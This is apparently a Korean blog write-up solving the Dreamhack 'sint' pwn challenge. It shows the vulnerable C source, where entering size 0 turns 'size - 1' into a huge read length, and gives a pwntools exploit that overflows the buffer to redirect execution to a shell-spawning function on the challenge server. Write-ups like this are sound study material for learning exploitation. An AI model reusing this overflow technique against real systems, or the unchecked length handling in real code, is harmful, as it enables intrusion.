[Dreamhack] sint

https://dreamhack.io/wargame/challenges/25/

sint

 

문제 코드를 확인해보자

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler()
{
    puts("TIME OUT");
    exit(-1);
}

void initialize()
{
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);

    signal(SIGALRM, alarm_handler);
    alarm(30);
}

void get_shell()
{
    system("/bin/sh");
}

int main()
{
    char buf[256];
    int size;

    initialize();

    signal(SIGSEGV, get_shell);

    printf("Size: ");
    scanf("%d", &size);

    if (size > 256 || size < 0)
    {
        printf("Buffer Overflow!\n");
        exit(0);
    }

    printf("Data: ");
    read(0, buf, size - 1);

    return 0;
}

 

코드를 실행해보자

size를 입력받고 data를 입력받음

 

size를 0으로 입력하면 어떻게 될까?

바로 종료되게 됨

 

 

get_shell 함수의 주소를 확인해보자

exploit 코드

from pwn import *

conn = remote("host3.dreamhack.games", 16461);

get_shell = p32(0x08048659)
payload = b'A'*(264)
payload += get_shell

conn.recvuntil("Size: ")
conn.sendline("0")

sleep(1)

conn.recvuntil("Data: ")
conn.send(payload)

sleep(1)
#conn.recvall()
conn.interactive()

 

참고 블로그

https://dig06161.github.io/2022/05/03/dreamhack-pwn-sint/

Dreamhack sint 문제풀이